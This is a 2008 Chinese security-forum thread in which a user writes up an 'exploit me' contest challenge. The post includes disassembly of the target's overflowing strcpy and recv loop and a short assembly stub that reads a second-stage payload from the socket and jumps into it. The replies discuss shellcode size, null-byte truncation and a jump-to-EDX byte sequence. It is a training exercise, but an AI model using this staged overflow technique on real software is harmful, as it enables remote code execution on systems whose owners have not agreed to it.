首页
社区
课程
招聘
[原创]exploit me提要
发表于: 2008-1-2 12:51 7885

[原创]exploit me提要

2008-1-2 12:51
7885

一开始没打算参赛,晚上无聊搞了搞,发觉还是很简单的。

其实我做的很不好,懒得写文档,但至少可以跨平台的。

A题:

用E语言发了一个大包给本地,直接崩了,从recv入手,很容易得到

00401000  /$  81EC C8000000 sub     esp, 0C8
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi
00401010  |.  57            push    edi
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]
00401018  |.  68 4C904000   push    exploit_.0040904C                ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scasb                            ;  \这里是个strcpyA
0040101F  |.  F7D1          not     ecx
00401021  |.  2BF9          sub     edi, ecx
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2
0040102C  |.  F3:A5         rep     movsd
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3
00401033  |.  F3:A4         rep     movsb                            ;  /
0040120B  |.  50            |push    eax                             ; /Flags => 0
0040120C  |.  F3:AB         |rep     stosd                           ; |
0040120E  |.  8D4C24 38     |lea     ecx, dword ptr [esp+38]         ; |
00401212  |.  68 00020000   |push    200                             ; |BufSize = 200 (512.)
00401217  |.  51            |push    ecx                             ; |Buffer
00401218  |.  53            |push    ebx                             ; |Socket
00401219  |.  FF15 D8804000 |call    dword ptr [<&WS2_32.#16>]       ; \recv
0040121F  |.  8BF0          |mov     esi, eax
00401221  |.  85F6          |test    esi, esi
00401223  |.  7D 26         |jge     short exploit_.0040124B
00401225  |.  68 74904000   |push    exploit_.00409074               ;  ASCII "reading stream message erro!"
0040122A  |.  B9 689A4000   |mov     ecx, exploit_.00409A68
0040122F  |.  E8 F3010000   |call    exploit_.00401427
00401234  |.  68 D0124000   |push    exploit_.004012D0
00401239  |.  6A 0A         |push    0A                              ; /Arg1 = 0000000A
0040123B  |.  8BC8          |mov     ecx, eax                        ; |
0040123D  |.  E8 9E000000   |call    exploit_.004012E0               ; \exploit_.004012E0
00401242  |.  8BC8          |mov     ecx, eax
00401244  |.  E8 67000000   |call    exploit_.004012B0
00401249  |.  33F6          |xor     esi, esi
0040124B  |>  8D5424 34     |lea     edx, dword ptr [esp+34]
 
   mov edi, esp
   mov ecx, 1024;alloc
   sub edi, ecx
 
   push 0
   push ecx
   push edi
   push ebx
   mov eax, 4080D8h
   call dword ptr [eax]; 这里是recv
   jmp edi
 
 
; fucker
;   initX XFL_ALL
;
;   push 1000
;   push 1000
;   callX Beep
;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (19)
雪    币: 8209
活跃值: (4518)
能力值: ( LV15,RANK:2473 )
在线值:
发帖
回帖
粉丝
2
很好,很愉快
2008-1-2 12:58
0
雪    币: 339
活跃值: (1510)
能力值: ( LV13,RANK:970 )
在线值:
发帖
回帖
粉丝
3
老了,连个沙发也没抢到
2008-1-2 12:59
0
雪    币: 12
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
支持下!.....
2008-1-2 13:02
0
雪    币: 398
活跃值: (343)
能力值: (RANK:650 )
在线值:
发帖
回帖
粉丝
5
腰好  腰愉快
2008-1-2 14:31
0
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
纯数字SHELLCODE,好东西
2008-1-2 14:56
0
雪    币: 7309
活跃值: (3788)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
7
肾好  肾愉快
2008-1-2 14:58
0
雪    币: 66
活跃值: (15)
能力值: ( LV9,RANK:330 )
在线值:
发帖
回帖
粉丝
8
俗话说吃啥补啥, forgot令人口馋

ps:我什么都没说什么都没看见
2008-1-2 15:14
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
9
牙好,牙愉快
2008-1-2 16:33
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
我咋就忘了搜一下了呢……
2008-1-2 17:51
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
11
第1个题的shellcode跟长度无关,可大可小。
第2个题你的译码器加上编码不知道超过0x100没,把第1个参数整坏了你这个题应该就挂了。我当时就是这个原因才没有用这个编码。
2008-1-2 19:18
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
12
第一个题:要跨平台会被截断,用丑陋的方式可以大一些。并且注意,我只说了第一个包有限制,第2个包随便,只要TCPIP不分片。
第二个题:我忘了,不过用第一题同样的方法,可以扩展长度,大小也不是问题。
2008-1-2 23:24
0
雪    币: 1946
活跃值: (248)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
13
恩,我的意思也是0x200字节内,是我没说清楚。
2008-1-2 23:39
0
雪    币: 8209
活跃值: (4518)
能力值: ( LV15,RANK:2473 )
在线值:
发帖
回帖
粉丝
14
学到了分次溢出的指导思想
2008-1-3 00:01
0
雪    币: 325
活跃值: (97)
能力值: ( LV13,RANK:530 )
在线值:
发帖
回帖
粉丝
15
为啥只能够小于200字节呢?
unsigned char JmpEdx[] = {0x3E, 0x8D, 0x94, 0x24, 0x34, 0xFF, 0xFF, 0xFF, 255, 226};
我的 ShellCode 明显就可以利用 500 - 8 字节

还有 要跨平台会被截断 ? 没懂.我的理解只要不为0 就可以无限strcpy.这里的strcpy貌似是内联函数 好像不存在你说的这个问题 .  指点一下望. 因为一般而言我都无法懂你再说啥.....你上次这么教育我的.

忘了说 这题有BUG
Vista会socket error...和微软作对是不好的.

最后再膜拜一下forgXt.虽然不知道你写的什么.完全学习 + 不懂得说

突然发现规则上没有说可以用Easy Power Language.不排除我又没有读懂.
2008-1-3 00:05
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
16
用程序内部的retn地址都是004xxxxx,所以出现了00,所以被截断

规则没看,只是做题,不为参赛
2008-1-3 01:48
0
雪    币: 8209
活跃值: (4518)
能力值: ( LV15,RANK:2473 )
在线值:
发帖
回帖
粉丝
17
鼓励使用C语言,如果使用脚本语言,请提供脚本源代码及详细的运行环境说明。本次比赛只接收ruby,perl,phyon三种脚本语言

易语言不属于脚本语言,应该可以使用
2008-1-3 09:34
0
雪    币: 211
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
第一个包负责溢出执行recv,
recv(sockClient,recvBuf,100,0)
jmp recvBuf
好计谋!
2008-1-3 09:51
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
坐下来学习一下
2008-1-3 10:10
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hup
20
forgot这个头像俺收藏了,哈哈
2008-1-27 09:26
0
游客
登录 | 注册 方可回帖
返回
//